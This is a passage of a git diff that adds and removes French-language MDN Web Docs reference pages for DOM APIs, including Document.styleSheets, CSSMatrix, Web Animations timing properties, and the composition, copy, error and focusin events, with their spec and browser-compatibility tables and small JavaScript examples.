
Cette méthode fonctionne de manière identique à la méthode {{domxref ("Window.getSelection()")}} ; elle renvoie un objet {{domxref ("Selection")}} représentant le texte actuellement sélectionné dans le document.

diff --git a/files/fr/web/api/documentorshadowroot/stylesheets/index.html b/files/fr/web/api/documentorshadowroot/stylesheets/index.html new file mode 100644 index 0000000000..0c607adc5f --- /dev/null +++ b/files/fr/web/api/documentorshadowroot/stylesheets/index.html @@ -0,0 +1,56 @@ +--- +title: Document.styleSheets +slug: Web/API/Document/styleSheets +translation_of: Web/API/DocumentOrShadowRoot/styleSheets +translation_of_original: Web/API/Document/styleSheets +--- +
{{APIRef}}
+ +
La propriété Document.styleSheets est en lecture seule et retourne une liste {{domxref("StyleSheetList")}} d'objets {{domxref("StyleSheet")}}, qui font référence à l'ensemble des feuilles de style contenues ou embarquées dans le document.
+ +
 
+ +

Syntaxe

+ +
var styleSheetList = document.styleSheets;
+
+ +

L'objet retourné est une liste {{domxref("StyleSheetList")}}.

+ +

Il s'agit d'une collection ordonnée d'objets {{domxref("StyleSheet")}}. styleSheetList.item(index) ou  styleSheetList{{ mediawiki.External('index') }} retourne un seul objet stylesheet par son index (index débute par 0).

+ +

Spécification

+ + + + + + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaire
{{SpecName('CSSOM', '#dom-document-stylesheets', 'styleSheets')}}{{Spec2('CSSOM')}} 
{{SpecName('DOM2 Style', 'stylesheets.html#StyleSheets-DocumentStyle-styleSheets', 'styleSheets')}}{{Spec2('DOM2 Style')}} 
+ +

Voir aussi

+ +
    +
  • {{Link("/en-US/docs/Web/API/CSS_Object_Model/Using_dynamic_styling_information")}}
    • +
+ + diff --git a/files/fr/web/api/dommatrix/index.html b/files/fr/web/api/dommatrix/index.html new file mode 100644 index 0000000000..2b5039986e --- /dev/null +++ b/files/fr/web/api/dommatrix/index.html @@ -0,0 +1,76 @@ +--- +title: CSSMatrix +slug: Web/API/CSSMatrix +tags: + - API + - Reference +translation_of: Web/API/DOMMatrix +translation_of_original: Web/API/CSSMatrix +--- +
+
{{APIRef("CSSOM")}}{{Non-standard_header}}
+ +

Une CSSMatrix représente une matrice homogène 4x4 dans laquelle il est possible d'appliquer des transformations 2D ou 3D. Cette classe faisait à un moment partie du module de transitions CSS (Level 3) mais elle n'a pas été propagée dans le brouillon de travail (Working Draft) actuel. Utilisez plutôt DOMMatrix.

+ +

Compatibilé des navigateurs

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FonctionnalitéChromeFirefox (Gecko)Internet ExplorerOperaSafari
Support simple{{CompatUnknown}}{{CompatUnknown}}10[1]{{CompatUnknown}}{{CompatVersionUnknown}}[2]
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FonctionnalitéAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Support simple{{CompatUnknown}}{{CompatUnknown}}11[1]{{CompatUnknown}}{{CompatVersionUnknown}}[2]
+
+ +

[1] Internet Explorer a  intégré cette API en tant que MSCSSMatrix. Dans la version 11 l'alias WebKitCSSMatrix a été ajouté.

+ +

[2] WebKit a intégré cette API en tant que WebKitCSSMatrix.

+ +

Voir aussi

+ + +
diff --git a/files/fr/web/api/effecttiming/delay/index.html b/files/fr/web/api/effecttiming/delay/index.html new file mode 100644 index 0000000000..bb8c8d9e56 --- /dev/null +++ b/files/fr/web/api/effecttiming/delay/index.html @@ -0,0 +1,140 @@ +--- +title: Delay +slug: Web/API/AnimationEffectTimingProperties/delay +tags: + - API + - Animation + - AnimationEffectTimingProperties + - Experimental + - Propriété + - Reference +translation_of: Web/API/EffectTiming/delay +--- +
{{SeeCompatTable}}{{APIRef("Web Animations")}}
+ +

La propriété delay est un dictionnaire pour {{domxref("AnimationEffectTimingProperties")}} qui représente le nombre de millisecondes à attendre avant de démarrer une animation.

+ +
+

Note : {{domxref("Element.animate()")}}, {{domxref("KeyframeEffectReadOnly.KeyframeEffectReadOnly", "KeyframeEffectReadOnly()")}} et {{domxref("KeyframeEffect.KeyframeEffect", "KeyframeEffect()")}} acceptent toutes un objet avec des propriétés de minutage, y compris delay. La valeur de delay correspond directement à {{domxref("AnimationEffectTimingReadOnly.delay")}} dans les objets  {{domxref("AnimationEffectReadOnly.timing")}} renvoyés par {{domxref("AnimationEffectReadOnly")}}, {{domxref("KeyframeEffectReadOnly")}} et {{domxref("KeyframeEffect")}}.

+
+ +

Syntaxe

+ +
var timingProperties = {
+  delay: delayInMilliseconds
+};
+
+timingProperties.delay = delayInMilliseconds;
+
+ +

Valeur

+ +

Un nombre qui indique la durée qui doit s'écouler entre le début du cycle de l'animation et le début de l'intervalle d'activité (c'est-à-dire le moment où l'animation commence réellement). La valeur par défaut est 0.

+ +

Exemples

+ +

Dans l'exemple Pool of Tears, chaque larme commence à un instant aléatoire grâce à l'objet de minutage :

+ +
// Générateur de valeurs plus
+// ou moins aléatoires
+var getRandomMsRange = function(min, max) {
+  return Math.random() * (max - min) + min;
+}
+
+// On parcourt l'ensemble des larmes
+tears.forEach(function(el) {
+
+  // On anime chacune des larmes
+  el.animate(
+    tearsFalling,
+    {
+      delay: getRandomMsRange(-1000, 1000), // aléatoire pour chaque larme
+      duration: getRandomMsRange(2000, 6000), // aléatoire pour chaque larme
+      iterations: Infinity,
+      easing: "cubic-bezier(0.6, 0.04, 0.98, 0.335)"
+    });
+});
+ +

Spécifications

+ + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('Web Animations', '#start-delay', 'delay')}}{{Spec2('Web Animations')}}Brouillon d'édiiton.
+ +

Compatibilité des navigateurs

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FonctionnalitéChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Support simple{{CompatVersionUnknown}}{{CompatGeckoDesktop(45)}}[1]{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FonctionnalitéAndroidWebview AndroidChrome pour AndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Support simple{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile(45)}}[1]{{CompatUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

[1] L'API Web Animations est uniquement activée par défaut pour les canaux Nightly et Developer Edition. Elle peut être activée dans les autres versions avec la préférence dom.animations-api.core.enabled.

+ +

Voir aussi

+ +
    +
  • L'API Web Animations
    • +
  • {{domxref("Element.animate()")}}, {{domxref("KeyframeEffectReadOnly.KeyframeEffectReadOnly", "KeyframeEffectReadOnly()")}}, et {{domxref("KeyframeEffect.KeyframeEffect", "KeyframeEffect()")}} qui acceptent toutes un objet de minutage, y compris celui-ci (delay)
    • +
  • La valeur de cette propriété correspond à celle de {{domxref("AnimationEffectTimingReadOnly")}} (qui est l'objet de minutage {{domxref("AnimationEffectReadOnly.timing", "timing")}} pour {{domxref("AnimationEffectReadOnly")}}, {{domxref("KeyframeEffectReadOnly")}} et {{domxref("KeyframeEffect")}}).
    • +
  • Les propriétés CSS {{cssxref("transition-delay")}} et {{cssxref("animation-delay")}}
    • +
diff --git a/files/fr/web/api/effecttiming/index.html b/files/fr/web/api/effecttiming/index.html new file mode 100644 index 0000000000..cc984622c9 --- /dev/null +++ b/files/fr/web/api/effecttiming/index.html @@ -0,0 +1,124 @@ +--- +title: Animation Effect Timing Properties +slug: Web/API/AnimationEffectTimingProperties +tags: + - API + - Animation + - AnimationEffectTimingProperties + - Dictionnaire + - Experimental + - Interface + - Reference +translation_of: Web/API/EffectTiming +--- +
{{SeeCompatTable}}{{APIRef("Web Animations")}}
+ +

Le dictionnaire AnimationEffectTimingProperties est utilisé par les méthodes {{domxref("Element.animate()")}}, {{domxref("KeyframeEffectReadOnly.KeyframeEffectReadOnly", "KeyframeEffectReadOnly()")}} et {{domxref("KeyframeEffect.KeyframeEffect", "KeyframeEffect()")}} afin de décrire les propriétés temporelles pour les effets d'animation. L'ensemble de ces propriétés sont optionnelles mais si duration n'est pas paramétrée, l'animation ne sera pas lancée.

+ +

Ces propriétés décrivent la façon dont l'agent utilisateur applique l'animation entre chaque étape (keyframe) et comment elle se comporte au début et à la fin.

+ +

Propriétés

+ +
+
{{domxref("AnimationEffectTimingProperties.delay", "delay")}} {{optional_inline}}
+
Le nombre de millisecondes à attendre avant de démarrer l'animation. La valeur par défaut est 0.
+
{{domxref("AnimationEffectTimingProperties.direction", "direction")}} {{optional_inline}}
+
Indique si l'animation se déroule dans le sens the animation runs forwards (normal), backwards (reverse), switches direction after each iteration (alternate), or runs backwards and switches direction after each iteration (alternate-reverse). Defaults to "normal".
+
{{domxref("AnimationEffectTimingProperties.duration", "duration")}} {{optional_inline}}
+
La durée d'une itération, exprimée en millisecondes. La valeur par défaut est 0. Bien que cette propriété soit optionnelle, il faut garder à l'esprit que l'animation ne sera pas lancée si la valeur est 0.
+
{{domxref("AnimationEffectTimingProperties.easing", "easing")}} {{optional_inline}}
+
La courbe de progression de l'animation au cours du temps. Cette propriété accepte des valeurs pré-paramétrées comme "linear", "ease", "ease-in", "ease-out" et "ease-in-out" ou une fonction "cubic-bezier" de la forme "cubic-bezier(0.42, 0, 0.58, 1)". La valeur par défaut est "linear".
+
{{domxref("AnimationEffectTimingProperties.endDelay", "endDelay")}} {{optional_inline}}
+
Le nombre de millisecondes à attendre après la fin de l'animation. Cette propriété est principalement utilisée lorsqu'on enchaîne une animation à la suite d'une autre. La valeur par défaut est 0.
+
{{domxref("AnimationEffectTimingProperties.fill", "fill")}} {{optional_inline}}
+
Indique si les effets de l'animation doivent s'appliqués sur l'élément avant d'être lancée ("backwards"), être conservés après la fin de l'animation ("forwards") ou les deux both. La valeur par défaut est "none".
+
{{domxref("AnimationEffectTimingProperties.iterationStart", "iterationStart")}} {{optional_inline}}
+
Décrit le point de départ de l'animation par rapport à une itération. Une valeur de 0.5 indique que l'animation démarre au milieu de la première animation (dans ce cas, après deux itérations, l'animation sera arrivée à la moitié de la troisième itération). La valeur par défaut est 0.0.
+
{{domxref("AnimationEffectTimingProperties.iterations", "iterations")}} {{optional_inline}}
+
Le nombre de fois que l'animation doit être répétée. La valeur par défaut est 1. Il est possible d'utiliser la valeur {{jsxref("Infinity")}} pour répéter l'animation aussi longtemps que l'élément existe.
+
+ +

Spécifications

+ + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('Web Animations', '#the-animationeffecttimingproperties-dictionary', 'AnimationEffectTimingProperties' )}}{{Spec2('Web Animations')}}Définition initiale.
+ +

Compatibilité des navigateurs

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FonctionnalitéChromeFirefox (Gecko)Microsoft EdgeInternet ExplorerOperaSafari (WebKit)
Support simple{{CompatUnknown}}{{CompatGeckoDesktop(45)}}[1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FonctionnalitéAndroidWebview AndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari MobileChrome pour Android
Support simple{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile(45)}}[1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] The Web Animations API is only enabled by default in Firefox Developer Edition and Nightly builds. You can enable it in beta and release builds by setting the preference dom.animations-api.core.enabled to true, and can disable it in any Firefox version by setting this preference to false.

+ +

Voir aussi

+ +
    +
  • L'API Web Animations
    • +
  • Utiliser l'API Web Animations
    • +
  • {{domxref("Element.animate()")}}
    • +
  • {{domxref("KeyframeEffect.KeyframeEffect", "KeyframeEffect()")}}
    • +
  • {{domxref("KeyframeEffectReadOnly.KeyframeEffectReadOnly", "KeyframeEffectReadOnly()")}}
    • +
diff --git a/files/fr/web/api/element.blur/index.html b/files/fr/web/api/element.blur/index.html deleted file mode 100644 index 6c5f12166c..0000000000 --- a/files/fr/web/api/element.blur/index.html +++ /dev/null @@ -1,88 +0,0 @@ ---- -title: HTMLElement.blur() -slug: Web/API/Element.blur -tags: - - API - - DOM - - HTMLElement - - Method - - Reference -translation_of: Web/API/HTMLOrForeignElement/blur ---- -
-
{{ APIRef("HTML DOM") }}
-
- -

La méthode HTMLElement.blur() retire le focus de l'élément courant.

- -

Syntax

- -
elt.blur()
- -

Exemples

- -

Retirer le focus d'un champ texte

- -

HTML

- -
<input type="text" id="myText" value="Champ texte.">
-<p></p>
-<button type="button" onclick="focusMethod()">Cliquez-moi pour donner le focus</button>
-<button type="button" onclick="blurMethod()">Cliquez-moi pour retirer le focus</button>
- -

JavaScript

- -
focusMethod = function getFocus() {
-  document.getElementById("myText").focus();
-}
-blurMethod = function getBlur() {
-  document.getElementById("myText").blur();
-}
- -

Résultat

- -

{{ EmbedLiveSample('Remove_focus_from_a_text_area') }}

- -

Spécification

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'editing.html#dom-blur', 'blur')}}{{Spec2('HTML WHATWG')}}
{{SpecName('HTML5.1', 'editing.html#blur()-0', 'blur')}}{{Spec2('HTML5.1')}}
{{SpecName('HTML5 W3C', 'editing.html#dom-blur', 'blur')}}{{Spec2('HTML5 W3C')}}
{{SpecName('DOM2 HTML', 'html.html#ID-28216144', 'blur')}}{{Spec2('DOM2 HTML')}}
- -

Compatibilité navigateur

- - -

{{Compat("api.HTMLElement.blur")}}

-

Dans IE9-10, il y a un bug où appeler blur() sur le {{HTMLElement("body")}} change la fenêtre active du navigateur vers une autre application.

- -

Voir aussi

- -

La méthode DOM {{domxref("HTMLElement.focus()")}}

diff --git a/files/fr/web/api/element/accesskey/index.html b/files/fr/web/api/element/accesskey/index.html deleted file mode 100644 index 2d84dd6dae..0000000000 --- a/files/fr/web/api/element/accesskey/index.html +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: Element.accessKey -slug: Web/API/Element/accessKey -tags: - - API - - DOM - - Element - - Propriété - - Raccourcis clavier - - Reference -translation_of: Web/API/HTMLElement/accessKey -translation_of_original: Web/API/Element/accessKey ---- -
{{APIRef("DOM")}}
- -
 
- -

La propriété Element.accessKey définit la touche sur laquelle l'utilisateur doit appuyer pour accéder à l'élément.

- -
-

Note : La propriété Element.accessKey est rarement utilisée en raison de ses multiples conflits avec des raccourcis clavier déjà présents dans les navigateurs. Pour contourner ce problème, les navigateurs appliquent le comportement attendu de "accesskey" lorsqu'une autre touche est pressée simultanément (comme Alt + accesskey).

-
diff --git a/files/fr/web/api/element/compositionend_event/index.html b/files/fr/web/api/element/compositionend_event/index.html new file mode 100644 index 0000000000..8a15ab679a --- /dev/null +++ b/files/fr/web/api/element/compositionend_event/index.html @@ -0,0 +1,131 @@ +--- +title: compositionend +slug: Web/Events/compositionend +translation_of: Web/API/Element/compositionend_event +--- +

L'événement compositionend est déclenché lorsque la composition d'un texte via {{glossary("input method editor", "méthode de saisie")}} est terminée ou annulée (démarre avec des caractères spéciaux qui requièrent une séquence de touches et d'autres entrées telles que la reconnaissance vocale ou la suggestion de mot sur mobile).

+ +

Par exemple, cette événement pourrait être déclanché quand un utilisateur saisie un caractère chinois en utilisant la méthode de saisie Pinyin.

+ + + + + + + + + + + + + + + + + + + + +
Se propage/remonte dans le DOMOui
AnnulableOui
Interface{{domxref("CompositionEvent")}}
Propriété pour la gestion d'évènementAucune
+ +

Exemple

+ +

Html

+ +
<div class="control">
+  <label for="name">Sur macOS, cliquez sur la boîte de texte,<br> puis appuyez sur <kbd>option</kbd> + <kbd>`</kbd>, puis <kbd>a</kbd>:</label>
+  <input type="text" id="example" name="example">
+</div>
+
+<div class="event-log">
+  <label>Log d'événement:</label>
+  <textarea readonly class="event-log-contents" rows="8" cols="25"></textarea>
+  <button class="clear-log">Effacer</button>
+</div>
+ + + +

JS

+ +
const inputElement = document.querySelector('input[type="text"]');
+const log = document.querySelector('.event-log-contents');
+const clearLog = document.querySelector('.clear-log');
+
+clearLog.addEventListener('click', () => {
+    log.textContent = '';
+});
+
+function handleEvent(event) {
+    log.textContent = log.textContent + `${event.type}: ${event.data}\n`;
+}
+
+inputElement.addEventListener('compositionstart', handleEvent);
+inputElement.addEventListener('compositionupdate', handleEvent);
+inputElement.addEventListener('compositionend', handleEvent);
+ +

Resultat

+ +

{{ EmbedLiveSample('Exemple', '100%', '180px') }}

+ +

Spécifications

+ + + + + + + + + + + + + + +
SpécificationStatus
{{SpecName('UI Events', '#event-type-compositionend')}}{{Spec2('UI Events')}}
+ +

Compatibilités navigateurs

+ +

{{Compat("api.Element.compositionend_event")}}

+ +

Evénements liés

+ +
    +
  • {{Event("compositionstart")}}
    • +
  • {{Event("compositionupdate")}}
    • +
diff --git a/files/fr/web/api/element/compositionstart_event/index.html b/files/fr/web/api/element/compositionstart_event/index.html new file mode 100644 index 0000000000..8b72ed5d31 --- /dev/null +++ b/files/fr/web/api/element/compositionstart_event/index.html @@ -0,0 +1,146 @@ +--- +title: compositionstart +slug: Web/Events/compositionstart +translation_of: Web/API/Element/compositionstart_event +--- +

L'événement compositionstart est déclenché lorsque la composition d'un passage de texte est préparée (similaire à keydown pour une entrée clavier, mais démarre avec des caractères spéciaux qui nécessitent une sequence de touches et d'autres entrées telles que la reconnaissance vocale ou la suggestion de mots du mobile).

+ +

Informations générales

+ +
+
Interface
+
{{domxref("TouchEvent")}}
+
Propagation
+
Oui
+
Annulable
+
Oui
+
Cible
+
{{domxref("Element")}}
+
+ +

Propriétés

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{ReadOnlyInline}}{{domxref("EventTarget")}}Elément ayant le focus qui traite la composition
type {{ReadOnlyInline}}{{domxref("DOMString")}}Le type de l'événement.
bubbles {{ReadOnlyInline}}booleanEst-ce qu'il se propage?
cancelable {{ReadOnlyInline}}booleanPeut-il être annulé?
view {{ReadOnlyInline}}{{domxref("WindowProxy")}}{{domxref("Document.defaultView")}} (fenêtre du document)
detail {{ReadOnlyInline}}long (float)0.
data {{ReadOnlyInline}}{{domxref("DOMString")}} (string) +

La chaîne de caractères originale éditée ou une chaîne vide.

+
locale {{ReadOnlyInline}}{{domxref("DOMString")}} (string)Le code de la langue pour l'événement de composition si disponible; Sinon une chaîne vide.
+ +

Compatibilités navigateur

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
NavigateurChromeFirefox (Gecko)Internet ExplorerOperaSafari
Support basique{{CompatVersionUnknown}}[1]{{CompatGeckoDesktop("9.0")}}[2]{{CompatVersionUnknown}}[3]{{CompatNo}}{{CompatVersionUnknown}}[1]
+
+ +
+ + + + + + + + + + + + + + + + + + + +
NavigateurAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Support basique{{CompatUnknown}}{{CompatGeckoMobile("9.0")}}[2]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] La valeur de l'attribut data est fausse

+ +

[2] L'événement a été déclenché dans les versions de Gecko antérieures à la 9.0, mais n'avait pas les attributs et les méthodes DOM Level 3.

+ +

Gecko ne supporte pas l'attribut locale pour les événements approuvés pour l'instant. Cependant, cette valeur peut être définie via initCompositionEvent() à la création d'événements non-approuvés.

+ +

Selon la spécification DOM Level3, compositionstart est annulable; Cependant, Gecko ne vous laisse pas l' annuler.

+ +

Gecko déclenche l'événement lorsque IME commence la composition, et quelques plateformes n'ont pas d'API pour annuler la composition une fois commencée. De plus, Gecko ne peut pas savoir si un événement clavier va commencé la composition ou non jusqu'à ce que IME ne la commence réellement. A cause de celà, {{domxref("event.preventDefault()")}} ne fonctionne pas sur l'événement compositionstart avec Gecko.

+ +

Les éditeurs de Gecko (comme <input type="text"> <div contenteditable/> et designMode) commence la composition après la phase de propagation de compositionstart. Donc, au moment où votre gestionnaire de compositionstart est appelé, aucun contenu n'a été modifié.

+ +

[3] La valeur de data est toujours vide.

+ +

Evénements liés

+ +
    +
  • {{Event("compositionend")}}
    • +
  • {{Event("compositionupdate")}}
    • +
diff --git a/files/fr/web/api/element/compositionupdate_event/index.html b/files/fr/web/api/element/compositionupdate_event/index.html new file mode 100644 index 0000000000..ba22586181 --- /dev/null +++ b/files/fr/web/api/element/compositionupdate_event/index.html @@ -0,0 +1,137 @@ +--- +title: compositionupdate +slug: Web/Events/compositionupdate +translation_of: Web/API/Element/compositionupdate_event +--- +

L'événement compositionupdate est déclenché lorsqu'un caractère est ajouté à un passage de texte en train d'être composé (démarre avec des caractères spéciaux qui nécessitent une sequence de touches et d'autres entrées telles que la reconnaissance vocale ou la suggestion de mots du mobile).

+ +

Informations générales

+ +
+
Interface
+
{{domxref("TouchEvent")}}
+
Propagation
+
Oui
+
Annulable
+
Non
+
Cible
+
{{domxref("Element")}}
+
+ +

Propriétés

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{ReadOnlyInline}}{{domxref("EventTarget")}}Elément ayant le focus qui traite la composition. Nul si non-accessible.
type {{ReadOnlyInline}}{{domxref("DOMString")}}Le type de l'événement.
bubbles {{ReadOnlyInline}}booleanEst-ce qu'il se propage?
cancelable {{ReadOnlyInline}}booleanPeut-il être annulé?
view {{ReadOnlyInline}}{{domxref("WindowProxy")}}{{domxref("Document.defaultView")}} (fenêtre du document).
detail {{ReadOnlyInline}}long (float)0.
data {{ReadOnlyInline}}{{domxref("DOMString")}} (string)La chaîne de caractères originale éditée ou une chaîne vide.
locale {{ReadOnlyInline}}{{domxref("DOMString")}} (string)Le code de la langue pour l'événement de composition si disponible; Sinon une chaîne vide.
+ +

Compatibilités navigateur

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
NavigateurChromeFirefox (Gecko)Internet ExplorerOperaSafari
Support basique{{CompatVersionUnknown}}[1]{{CompatGeckoDesktop("9.0")}}[2]{{CompatVersionUnknown}}{{CompatNo}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
NavigateurAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Suport basique{{CompatUnknown}}{{CompatGeckoMobile("9.0")}}[2]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] N'est pas distribué immédiatement après l'événement compositionstart.

+ +

[2] Les événements compositionupdate sont déclenchés avant avant que le contenu éditable ne soit réellement modifié; C'est-à-dire que la valeur d'un élément éditable n'a pas encore été modifiée lorsque les gestionnaires de compositionupdate sont appelés. A partir de Gecko 12.0 {{geckoRelease("12.0")}}, les événements input sont déclenchés durant l'édition, après que le contenu de l'élément a été modifié. Cela permet d'obtenir le contenu mis à jour pendant que l'édition est en cours.

+ +

Gecko ne supporte pas l'attribut locale pour les événements approuvés pour l'instant. Cependant, cette valeur peut être définie via initCompositionEvent() à la création d'événements non-approuvés.

+ +

Voir aussi

+ +
    +
  • {{Event("compositionstart")}}
    • +
  • {{Event("compositionupdate")}}
    • +
  • {{Event("compositionend")}}
    • +
diff --git a/files/fr/web/api/element/copy_event/index.html b/files/fr/web/api/element/copy_event/index.html new file mode 100644 index 0000000000..d3a9ee8224 --- /dev/null +++ b/files/fr/web/api/element/copy_event/index.html @@ -0,0 +1,148 @@ +--- +title: copy +slug: Web/Events/copy +translation_of: Web/API/Element/copy_event +--- +

L'événement copy est déclenché lorsque l'utilisateur initie une copie par le biais de l'interface du navigateur (par exemple, Ctrl/Cmd+C ou "copier" du menu contextuel) et en réponse d'un appel de {{domxref("Document.execCommand", "document.execCommand('copy')")}} autorisé.

+ +

Informations générales

+ +
+
Spécification
+
Clipboard
+
Interface
+
{{domxref("ClipboardEvent")}}
+
Propagation
+
Oui
+
Annulable
+
Oui
+
Cible
+
{{domxref("Element")}}: L'élément ayant le focus (pour les éléments {{domxref("HTMLElement.contentEditable", "contentEditable")}} - l'élément contenant le début de la sélection), ou l'élément {{HTMLElement("body")}}
+
Action par défaut
+
Voir ce-dessous
+
+ +

Un gestionnaire de cet événement peut modifier l'objet {{domxref("ClipboardEvent.clipboardData")}} en appellant {{domxref("DataTransfer.setData", "setData(format, data)")}}:

+ +
document.addEventListener('copy', function(e){
+    e.clipboardData.setData('text/plain', 'Hello, world!');
+    e.clipboardData.setData('text/html', '<b>Hello, world!</b>');
+    e.preventDefault(); // We want our data, not data from any selection, to be written to the clipboard
+});
+ +

Un gestionnaire de cet événement ne peut pas lire les données du presse-papiers en utilisant {{domxref("DataTransfer.getData", "clipboardData.getData()")}}.

+ +

L'action par défaut de l'événement dépend de la source de celui-ci et du comportement du gestionnaire:

+ +
    +
  • Un événement de copie synthétique n'a pas d'action par défaut;
    • +
  • Si l'événement n'a pas été annulé: Copie de la sélection (s'il y a) dans le presse-papiers;
    • +
  • Si le gestionnaire a annulé l'événement et appelé setData(): Copie le contenu de clipboardData de {{domxref("ClipboardEvent")}};
    • +
  • Si le gestionnaire a annulé l'événement sans appelé setData(): Aucune action.
    • +
+ +

Propriétés

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}The event target (the topmost target in the DOM tree).
type {{readonlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Whether the event normally bubbles or not.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Whether the event is cancellable or not.
+ +

Compatibilités navigateur

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
NavigateurChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Support basique{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
clipboardData{{ CompatVersionUnknown() }}{{ CompatGeckoDesktop(22) }}{{ CompatNo() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
NavigateurAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Support basique{{ CompatUnknown() }}{{ CompatVersionUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
clipboardData{{ CompatUnknown() }}{{ CompatGeckoMobile(22) }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

Evénements liés

+ +
    +
  • {{event("copy")}}, {{event("cut")}}, {{event("paste")}}
    • +
diff --git a/files/fr/web/api/element/error_event/index.html b/files/fr/web/api/element/error_event/index.html new file mode 100644 index 0000000000..5ab9de5a8c --- /dev/null +++ b/files/fr/web/api/element/error_event/index.html @@ -0,0 +1,93 @@ +--- +title: error +slug: Web/Events/error +tags: + - DOM + - Erreurs + - Gestionnaire d'erreurs + - Interface + - évènements +translation_of: Web/API/Element/error_event +--- +

L'événement error (erreur) est déclenché lorsqu'une ressource n'a pas pu être chargée ; les circonstances exactes varient, ce nom étant utilisé par une grande variété d'API.

+ +

Informations générales

+ +
+
Spécification
+
DOM L3
+
Interface
+
{{domxref("UIEvent")}} si généré depuis l'interface utilisateur,
+ {{domxref("MediaRecorderErrorEvent")}} si généré par MediaStream Recording API  et
+ sinon {{domxref("Event")}}.
+
Propagation
+
Non
+
Annulable
+
Non
+
Cible
+
{{domxref("Element")}}
+
Action par défaut
+
Aucune
+
 
+
+ +

Propriétés

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}EventTargetThe event target (the topmost target in the DOM tree).
type {{readonlyInline}}DOMStringThe type of event.
bubbles {{readonlyInline}}BooleanWhether the event normally bubbles or not.
cancelable {{readonlyInline}}BooleanWhether the event is cancellable or not.
view {{readonlyInline}}WindowProxydocument.defaultView (window of the document)
detail {{readonlyInline}}long (float)0.
+ +

Pour des évènements MediaStream Recording

+ +

Ces évènements sont d'un type {{domxref("MediaRecorderErrorEvent")}}.

+ +

{{page("/en-US/docs/Web/API/MediaRecorderErrorEvent", "Properties")}}

+ +

Voir aussi

+ +
+
{{domxref("GlobalEventHandlers.onerror")}}
+
Évènements envoyés à {{domxref("Window.onerror")}} et à {{domxref("Element.onerror")}}
+
{{domxref("HTMLMediaElement.onerror")}}
+
Évènements envoyés à {{domxref("HTMLMediaElement")}} incluant {{HTMLElement("audio")}}   et {{HTMLElement("video")}} .
+
{{domxref("MediaRecorder.onerror")}}
+
Évènements envoyés à {{domxref("MediaRecorder.onerror")}} , d'un type {{domxref("MediaRecorderErrorEvent")}}
+
diff --git a/files/fr/web/api/element/focusin_event/index.html b/files/fr/web/api/element/focusin_event/index.html new file mode 100644 index 0000000000..79a9e2af63 --- /dev/null +++ b/files/fr/web/api/element/focusin_event/index.html @@ -0,0 +1,123 @@ +--- +title: focusin +slug: Web/Events/focusin +translation_of: Web/API/Element/focusin_event +--- +

L'événement focusin est déclenché lorsqu'un élément est sur le point de recevoir le focus. La principale différence avec focus est que focusin se propage.

+ +

Informations générales

+ +
+
Spécification
+
DOM L3
+
Interface
+
{{domxref("FocusEvent")}}
+
Propagation
+
Oui
+
Annulable
+
Non
+
Cible
+
{{domxref("Element")}}
+
Action par défaut
+
Aucune
+
+ +

Propriétés

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}Event target losing focus.
type {{readonlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Whether the event normally bubbles or not.
